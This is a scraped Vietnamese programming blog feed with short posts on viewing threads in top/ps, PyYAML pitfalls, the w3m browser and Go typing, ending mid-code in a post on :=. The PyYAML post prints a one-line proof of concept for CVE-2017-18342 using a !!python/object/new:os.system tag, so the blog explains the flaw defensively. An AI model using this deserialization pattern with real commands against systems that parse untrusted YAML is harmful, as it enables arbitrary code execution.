<span class="n">t</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">t</span><span class="o">.</span><span class="n">join</span><span class="p">()</span>
</code></pre></div>
<h3>Xem thread với <code>top</code></h3>
<p>Trong <code>top</code>, bấm chữ <code>H</code> (hoa) để hiển thị thread, cột PID lúc này sẽ hiển thị threadID.</p>
<div class="highlight"><pre><span></span><code>$ top -Hbn1 <span class="p">|</span> grep python3
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
<span class="m">3979</span> hvn <span class="m">20</span> <span class="m">0</span> <span class="m">87912</span> <span class="m">10232</span> <span class="m">4900</span> S <span class="m">0</span>.0 <span class="m">0</span>.1 <span class="m">0</span>:00.05 python3
<span class="m">3980</span> hvn <span class="m">20</span> <span class="m">0</span> <span class="m">87912</span> <span class="m">10232</span> <span class="m">4900</span> S <span class="m">0</span>.0 <span class="m">0</span>.1 <span class="m">0</span>:00.00 python3
$ ps -efL <span class="p">|</span> grep python3
UID PID PPID LWP C NLWP STIME TTY TIME CMD
hvn <span class="m">3979</span> <span class="m">1585</span> <span class="m">3979</span> <span class="m">0</span> <span class="m">2</span> <span class="m">21</span>:35 pts/0 <span class="m">00</span>:00:00 python3 main.py
hvn <span class="m">3979</span> <span class="m">1585</span> <span class="m">3980</span> <span class="m">0</span> <span class="m">2</span> <span class="m">21</span>:35 pts/0 <span class="m">00</span>:00:00 python3 main.py
</code></pre></div>
<h3>Tham khảo</h3>
<ul>
<li>man top</li>
</ul>
<div class="highlight"><pre><span></span><code> -H :Threads-mode operation Instructs top to display individual threads.
Without this command-line option a summation of all threads in each
process is shown. Later this can be changed with the `H' interactive
command.
</code></pre></div>
<ul>
<li>man ps</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="o">-</span><span class="nv">f</span><span class="w"> </span><span class="k">Do</span><span class="w"> </span><span class="nv">full</span><span class="o">-</span><span class="nv">format</span><span class="w"> </span><span class="nv">listing</span>.<span class="w"> </span><span class="nv">This</span><span class="w"> </span><span class="nv">option</span><span class="w"> </span><span class="nv">can</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">combined</span><span class="w"> </span><span class="nv">with</span><span class="w"> </span><span class="nv">many</span><span class="w"></span>
<span class="w"> </span><span class="nv">other</span><span class="w"> </span><span class="nv">UNIX</span><span class="o">-</span><span class="nv">style</span><span class="w"> </span><span class="nv">options</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">add</span><span class="w"> </span><span class="nv">additional</span><span class="w"> </span><span class="nv">columns</span>.<span class="w"> </span><span class="nv">It</span><span class="w"> </span><span class="nv">also</span><span class="w"> </span><span class="nv">causes</span><span class="w"> </span><span class="nv">the</span><span class="w"></span>
<span class="w"> </span><span class="nv">command</span><span class="w"> </span><span class="nv">arguments</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">printed</span>.<span class="w"> </span><span class="nv">When</span><span class="w"> </span><span class="nv">used</span><span class="w"> </span><span class="nv">with</span><span class="w"> </span><span class="o">-</span><span class="nv">L</span>,<span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">NLWP</span><span class="w"> </span><span class="ss">(</span><span class="nv">number</span><span class="w"> </span><span class="nv">of</span><span class="w"></span>
<span class="w"> </span><span class="nv">threads</span><span class="ss">)</span><span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">LWP</span><span class="w"> </span><span class="ss">(</span><span class="nv">thread</span><span class="w"> </span><span class="nv">ID</span><span class="ss">)</span><span class="w"> </span><span class="nv">columns</span><span class="w"> </span><span class="nv">will</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">added</span>.<span class="w"> </span><span class="nv">See</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">c</span><span class="w"></span>
<span class="w"> </span><span class="nv">option</span>,<span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">format</span><span class="w"> </span><span class="nv">keyword</span><span class="w"> </span><span class="nv">args</span>,<span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">format</span><span class="w"> </span><span class="nv">keyword</span><span class="w"> </span><span class="nv">comm</span>.<span class="w"></span>
</code></pre></div>
<h3>Kết luận</h3>
<p>Có thể nhìn tận mắt thread đang chạy với ps và top.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Thảm họa PyYAML2023-06-09T00:00:00+07:002023-06-09T00:00:00+07:00hvntag:familug.github.io,2023-06-09:/tham-hoa-pyyaml.html<p>PyYAML, thư viện parse YAML phổ biến bậc nhất của Python, được dùng trong các phần mềm dùng YAML như Ansible, SaltStack, ...</p>
<div class="highlight"><pre><span></span><code>> YAML: YAML Ain't Markup Language™
</code></pre></div>
<p>Ví dụ <a href="https://docs.saltproject.io">Salt</a> state:</p>
<div class="highlight"><pre><span></span><code><span class="nt">install_network_packages</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">pkg.installed</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="nt">pkgs</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">rsync</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">lftp</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">curl</span><span class="w"></span>
</code></pre></div>
<h3>Mặc định nguy hiểm</h3>
<p>YAML không phải một ngôn ngữ/format …</p><p>PyYAML, thư viện parse YAML phổ biến bậc nhất của Python, được dùng trong các phần mềm dùng YAML như Ansible, SaltStack, ...</p>
<div class="highlight"><pre><span></span><code>> YAML: YAML Ain't Markup Language™
</code></pre></div>
<p>Ví dụ <a href="https://docs.saltproject.io">Salt</a> state:</p>
<div class="highlight"><pre><span></span><code><span class="nt">install_network_packages</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">pkg.installed</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="nt">pkgs</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">rsync</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">lftp</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">curl</span><span class="w"></span>
</code></pre></div>
<h3>Mặc định nguy hiểm</h3>
<p>YAML không phải một ngôn ngữ/format đơn giản như JSON, nó có hàng tá tính năng mà có thể bạn không biết tới. Dùng YAML giống như dùng <code>pickle</code> hơn là <code>json</code> (có thể chứa object tùy ý).</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">double</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">+</span><span class="n">x</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">yaml</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="n">double</span><span class="p">,</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="p">)</span>
<span class="c1"># !!python/name:__main__.double ''</span>
</code></pre></div>
<p>Function mặc định (và siêu phổ biến) để đọc file YAML: <code>yaml.load</code>, có thể chạy code Python, và là tác giả của hàng loạt lỗ hổng bảo mật được gắn CVE:</p>
<ul>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18342">CVE-2017-18342</a> In PyYAML before 5.1, the yaml.load() API could execute arbitrary code if used with untrusted data. The load() function has been deprecated in version 5.1 and the 'UnsafeLoader' has been introduced for backward compatibility with the function.</li>
<li>Rất nhiều nữa <a href="https://www.opencve.io/cve?vendor=pyyaml">https://www.opencve.io/cve?vendor=pyyaml</a>...</li>
</ul>
<p>Đến sau 2017, người dùng mới bắt đầu làm quen với function mới <code>yaml.safe_load</code>, an toàn hơn.</p>
<p>Cài <code>pip install 'pyyaml<5.1'</code> để trải nghiệm CVE này:</p>
<div class="highlight"><pre><span></span><code><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import yaml; yaml.load("!!python/object/new:os.system [echo EXPLOIT!]")'</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">EXPLOIT</span><span class="err">!</span>
</code></pre></div>
<p>Theo <a href="https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation">https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation</a></p>
<h2>Phức tạp, nhiều phiên bản</h2>
<p>JSON có... 1 phiên bản duy nhất?!!</p>
<p>YAML có 1.0 1.1 1.2 và còn nữa.
Phiên bản 1.2 có từ 2009, mà PyYAML chỉ hỗ trợ YAML 1.1</p>
<div class="highlight"><pre><span></span><code>> - YAML 1.2:
- Revision 1.2.2 # Oct 1, 2021 *New*
- Revision 1.2.1 # Oct 1, 2009
- Revision 1.2.0 # Jul 21, 2009
- YAML 1.1
</code></pre></div>
<p>Muốn dùng YAML 1.2, phải dùng <code>ruamel.yaml</code></p>
<div class="highlight"><pre><span></span><code> - PyYAML # YAML 1.1, pure python and libyaml binding
- ruamel.yaml # YAML 1.2, update of PyYAML; comments round-trip
</code></pre></div>
<h3>PyYAML 6.0+ không tương thích phiên bản cũ</h3>
<p>Phiên bản mới nhất 6.0, ra đời năm 2021, không tương thích với code các bản cũ.</p>
<p>6.0</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">yaml</span>
<span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="s2">"key: value"</span><span class="p">,</span> <span class="n">Loader</span><span class="o">=</span><span class="n">yaml</span><span class="o">.</span><span class="n">CLoader</span><span class="p">)</span>
</code></pre></div>
<p><strong>CHỮ L ở <code>Loader=</code> VIẾT HOA</strong></p>
<p>5</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">yaml</span>
<span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="s2">"key: value"</span><span class="p">)</span>
</code></pre></div>
<p>bản 6 bắt buộc argument Loader phải được set. Tới tháng 6 2023, tài liệu tutorial trang chủ vẫn không update <a href="https://pyyaml.org/wiki/PyYAMLDocumentation">https://pyyaml.org/wiki/PyYAMLDocumentation</a>:</p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span><span class="w"> </span><span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="s2">"""</span><span class="w"></span>
<span class="s2">... - Hesperiidae</span><span class="w"></span>
<span class="s2">... - Papilionidae</span><span class="w"></span>
<span class="s2">... - Apatelodidae</span><span class="w"></span>
<span class="s2">... - Epiplemidae</span><span class="w"></span>
<span class="s2">... """</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Issue GitHub: <a href="https://github.com/yaml/pyyaml/issues/576">https://github.com/yaml/pyyaml/issues/576</a></p>
<p>May thay nếu dùng <code>yaml.safe_load</code> thì không đổi, nó sẽ gọi <code>Loader=yaml.SafeLoader)</code></p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">safe_load</span><span class="p">(</span><span class="n">stream</span><span class="p">):</span>
<span class="sd">"""</span>
<span class="sd"> Parse the first YAML document in a stream</span>
<span class="sd"> and produce the corresponding Python object.</span>
<span class="sd"> Resolve only basic YAML tags. This is known</span>
<span class="sd"> to be safe for untrusted input.</span>
<span class="sd"> """</span>
<span class="k">return</span> <span class="n">load</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">SafeLoader</span><span class="p">)</span>
</code></pre></div>
<h3>Tham khảo</h3>
<ul>
<li><a href="https://yaml.org/">https://yaml.org/</a></li>
</ul>
<h3>Kết luận</h3>
<p>YAML không đơn giản như JSON, nếu không nhất thiết, chớ động vào.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Dùng trình duyệt w3m trên terminal năm 20232023-05-15T00:00:00+07:002023-05-15T00:00:00+07:00hvntag:familug.github.io,2023-05-15:/dung-trinh-duyet-w3m-tren-terminal-nam-2023.html<p>Năm 2023, khi chiếc điện thoại 5 triệu cũng có 4-8GB RAM, laptop 8-16GB, thì lý do gì để không dùng Chrome/Firefox mà dùng một cái trình duyệt trên dòng lệnh?</p>
<p><img alt="w3m" src="https://familug.github.io/images/w3m.png"></p>
<p>Hóa ra vẫn có. Chuyện rằng máy có 16GB RAM (onboard VGA), mỗi lần vào combat Dota2 trên …</p><p>Năm 2023, khi chiếc điện thoại 5 triệu cũng có 4-8GB RAM, laptop 8-16GB, thì lý do gì để không dùng Chrome/Firefox mà dùng một cái trình duyệt trên dòng lệnh?</p>
<p><img alt="w3m" src="https://familug.github.io/images/w3m.png"></p>
<p>Hóa ra vẫn có. Chuyện rằng máy có 16GB RAM (onboard VGA), mỗi lần vào combat Dota2 trên steam phải tắt hết các chương trình khác đi để đảm bảo không giật lag, có lần để Firefox rồi chơi, lúc combat 5 đánh 5, giật văng tắt luôn game (OOM, kernel kill).</p>
<p>w3m? mở 1 trang web mất 14MB RAM, so với ít nhất 200-500MB trên Firefox hay Chrome, nên chơi game cũng khỏi cần tắt.</p>
<h3>Cài đặt</h3>
<div class="highlight"><pre><span></span><code>sudo apt install w3m -y
</code></pre></div>
<h3>Sử dụng</h3>
<p><code>w3m URL</code></p>
<div class="highlight"><pre><span></span><code>w3m ddg.gg
</code></pre></div>
<p>hay mở các tài liệu trên máy (nếu trước đó cài <code>apt install python3-doc</code>)</p>
<div class="highlight"><pre><span></span><code>w3m /usr/share/doc
</code></pre></div>
<p>Mở nhiều trang cùng lúc? cài thêm <code>tmux</code> rồi mở nhiều cửa sổ tmux.</p>
<p>Bạn có biết app <a href="https://www.mozilla.org/en-US/firefox/browsers/mobile/focus/">Firefox focus</a> trên di động? Tính năng siêu việt của nó là: chỉ mở được 1 tab duy nhất.</p>
<h4>Vài phím tắt hữu dụng</h4>
<ul>
<li>H hiện help</li>
<li>q tắt</li>
<li>Tab để di chuyển</li>
<li>U thanh URL, đổi địa chỉ </li>
<li>Esc a thêm bookmark</li>
<li>Esc b hiện bookmark</li>
<li>B back, trở lại trang trước </li>
</ul>
<h3>Kết luận</h3>
<p>w3m không xem được ảnh hay video, không chạy JS, nhưng đủ để đọc tài liệu/chữ. Kèm theo các ưu điểm:</p>
<ul>
<li>nhẹ</li>
<li>không quảng cáo</li>
<li>không JS, không hack</li>
</ul>
<p>PS: xem được ảnh nếu cài thêm <code>w3m-img</code></p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>[Go] any chứa được int nhưng []any không chứa được []int2023-05-15T00:00:00+07:002023-05-15T00:00:00+07:00hvntag:familug.github.io,2023-05-15:/go-any-chua-duoc-int-nhung-any-khong-chua-duoc-int.html<p>Theo <a href="https://go.dev/tour/methods/9">go tour</a></p>
<blockquote>
<p>An interface type is defined as a set of method signatures.
A value of interface type can hold any value that implements those methods.</p>
</blockquote>
<p>Một kiểu interface định nghĩa một bộ các method.
Một giá trị kiểu interface có thể chứa bất kỳ giá trị nào có …</p><p>Theo <a href="https://go.dev/tour/methods/9">go tour</a></p>
<blockquote>
<p>An interface type is defined as a set of method signatures.
A value of interface type can hold any value that implements those methods.</p>
</blockquote>
<p>Một kiểu interface định nghĩa một bộ các method.
Một giá trị kiểu interface có thể chứa bất kỳ giá trị nào có đủ các method trong interface.</p>
<blockquote>
<p>The interface type that specifies zero methods is known as the empty interface:
An empty interface may hold values of any type. (Every type implements at least zero methods.)</p>
</blockquote>
<p>Một kiểu interface không chỉ định method nào được gọi là <strong>empty interface</strong>: <code>interface{}</code>
Một empty interface có thể chứa giá trị của bất kỳ kiểu nào.</p>
<h3><code>any</code> trong Go là gì</h3>
<p>Từ Go phiên bản 1.18 giới thiệu cách viết khác cho <code>interface{}</code> là: <code>any</code>.</p>
<p><center>
<img alt="any" src="https://images.unsplash.com/photo-1499334758287-dc8133b315e9?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&dl=andrew-wulf-59yg_LpcvzQ-unsplash.jpg&w=640">
Photo by <a href="https://unsplash.com/@andreuuuw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Andrew Wulf</a> on <a href="https://unsplash.com/photos/59yg_LpcvzQ?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>
</center></p>
<h3>function nhận <code>any</code>, nhận mọi giá trị</h3>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">doThing</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="kt">any</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Print</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mi">5</span><span class="w"></span>
<span class="w"> </span><span class="nx">doThing</span><span class="p">(</span><span class="nx">n</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">s</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="s">"hello"</span><span class="w"></span>
<span class="w"> </span><span class="nx">doThing</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>function <code>doThing</code> nhận đầu vào kiểu <code>any</code>, và nó có thể gọi với mọi giá trị, <code>n</code> kiểu <code>int</code>, hay <code>s</code> kiểu <code>string</code>.</p>
<p>Ai viết function nhận vào kiểu <code>any</code>? <code>fmt.Print</code> là 1 ví dụ.</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">Println</span><span class="p">(</span><span class="nx">a</span><span class="w"> </span><span class="o">...</span><span class="kt">any</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="nx">n</span><span class="w"> </span><span class="kt">int</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="kt">error</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<h3>function nhận <code>[]any</code> không nhận <code>[]int</code></h3>
<p>Dễ suy luận rằng 1 slice của int là <code>[]int</code>, thì 1 function nhận <code>[]any</code> sẽ nhận <code>[]int</code>?
Không! Code sau đây compile với error:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">doManyThing</span><span class="p">(</span><span class="nx">xs</span><span class="w"> </span><span class="p">[]</span><span class="kt">any</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">xs</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%s\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">xs</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="p">[]</span><span class="kt">int</span><span class="p">{</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="nx">doManyThing</span><span class="p">(</span><span class="nx">xs</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="o">./</span><span class="n">any</span><span class="o">.</span><span class="n">go</span><span class="p">:</span><span class="mi">19</span><span class="p">:</span><span class="mi">14</span><span class="p">:</span><span class="w"> </span><span class="n">cannot</span><span class="w"> </span><span class="n">use</span><span class="w"> </span><span class="n">xs</span><span class="w"> </span><span class="p">(</span><span class="n">variable</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="p">[]</span><span class="nb nb-Type">int</span><span class="p">)</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="p">[]</span><span class="n">any</span><span class="w"> </span><span class="n">value</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">argument</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">doManyThing</span><span class="w"></span>
</code></pre></div>
<p>Muốn dùng <code>xs</code> làm đầu vào cho <code>doManyThing</code>, phải convert nó thành <code>[]any</code> bằng 1 vòng lặp for:</p>
<div class="highlight"><pre><span></span><code><span class="n">xs</span><span class="w"> </span><span class="err">:</span><span class="o">=</span><span class="w"> </span><span class="err">[]</span><span class="nc">int</span><span class="err">{</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="err">}</span><span class="w"></span>
<span class="n">anyxs</span><span class="w"> </span><span class="err">:</span><span class="o">=</span><span class="w"> </span><span class="n">make</span><span class="p">(</span><span class="err">[]</span><span class="n">interface</span><span class="err">{}</span><span class="p">,</span><span class="w"> </span><span class="nf">len</span><span class="p">(</span><span class="n">xs</span><span class="p">))</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="err">:</span><span class="o">=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="n">xs</span><span class="w"> </span><span class="err">{</span><span class="w"></span>
<span class="w"> </span><span class="n">anyxs</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">v</span><span class="w"></span>
<span class="err">}</span><span class="w"></span>
<span class="n">doManyThing</span><span class="p">(</span><span class="n">anyxs</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Bất ngờ chưa? đây cũng là 1 câu hỏi trong FAQ của Go, tất nhiên, vì có nhiều người hỏi quá: <a href="https://go.dev/doc/faq#convert_slice_of_interface">https://go.dev/doc/faq#convert_slice_of_interface</a></p>
<div class="highlight"><pre><span></span><code><span class="n">Q</span><span class="o">:</span><span class="w"> </span><span class="n">Can</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">convert</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">[]</span><span class="n">T</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">an</span><span class="w"> </span><span class="o">[]</span><span class="kd">interface</span><span class="o">{}?</span><span class="w"></span>
<span class="n">A</span><span class="o">:</span><span class="w"> </span><span class="n">Not</span><span class="w"> </span><span class="n">directly</span><span class="o">.</span><span class="w"> </span><span class="n">It</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">disallowed</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">language</span><span class="w"> </span><span class="n">specification</span><span class="w"> </span><span class="n">because</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">two</span><span class="w"></span>
<span class="n">types</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">same</span><span class="w"> </span><span class="n">representation</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">memory</span><span class="o">.</span><span class="w"> </span><span class="n">It</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">necessary</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">copy</span><span class="w"></span>
<span class="n">the</span><span class="w"> </span><span class="n">elements</span><span class="w"> </span><span class="n">individually</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">destination</span><span class="w"> </span><span class="n">slice</span><span class="o">.</span><span class="w"> </span><span class="err">`</span><span class="w"></span>
</code></pre></div>
<p>Cơ mà... <code>any</code> thì lại chứa được <code>[]int</code>.</p>
<h3>Kết luận</h3>
<p>Go thật bất ngờ.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>[Go] := đôi khi không gán giá trị2023-05-08T00:00:00+07:002023-05-08T00:00:00+07:00hvntag:familug.github.io,2023-05-08:/go-doi-khi-khong-gan-gia-tri.html<h3>Tạo variable (biến) trong Go</h3>
<p>Go có 2 cách để khai báo và khởi tạo giá trị cho variable:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="c1">// declare</span><span class="w"></span>
<span class="nx">x</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="c1">// init</span><span class="w"></span>
</code></pre></div>
<p>có thể viết gọn lại</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">42</span><span class="w"></span>
</code></pre></div>
<p>Hoặc cú pháp ngắn "short declaration":</p>
<div class="highlight"><pre><span></span><code><span class="nx">x</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mi">42</span><span class="w"></span>
</code></pre></div>
<h4>Short declaration rules</h4>
<p>Short declaration <code>:=</code> ngắn hơn …</p><h3>Tạo variable (biến) trong Go</h3>
<p>Go có 2 cách để khai báo và khởi tạo giá trị cho variable:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="c1">// declare</span><span class="w"></span>
<span class="nx">x</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">42</span><span class="w"> </span><span class="c1">// init</span><span class="w"></span>
</code></pre></div>
<p>có thể viết gọn lại</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">42</span><span class="w"></span>
</code></pre></div>
<p>Hoặc cú pháp ngắn "short declaration":</p>
<div class="highlight"><pre><span></span><code><span class="nx">x</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mi">42</span><span class="w"></span>
</code></pre></div>
<h4>Short declaration rules</h4>
<p>Short declaration <code>:=</code> ngắn hơn, được ưa chuộng, nhưng cũng kèm theo không ít chú
ý mà ít ai để ý.</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w"></span>
<span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s">"fmt"</span><span class="w"></span>
<span class="w"> </span><span class="s">"os"</span><span class="w"></span>
<span class="p">)</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"i %v err %v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="p">)</span><span class="w"></span>
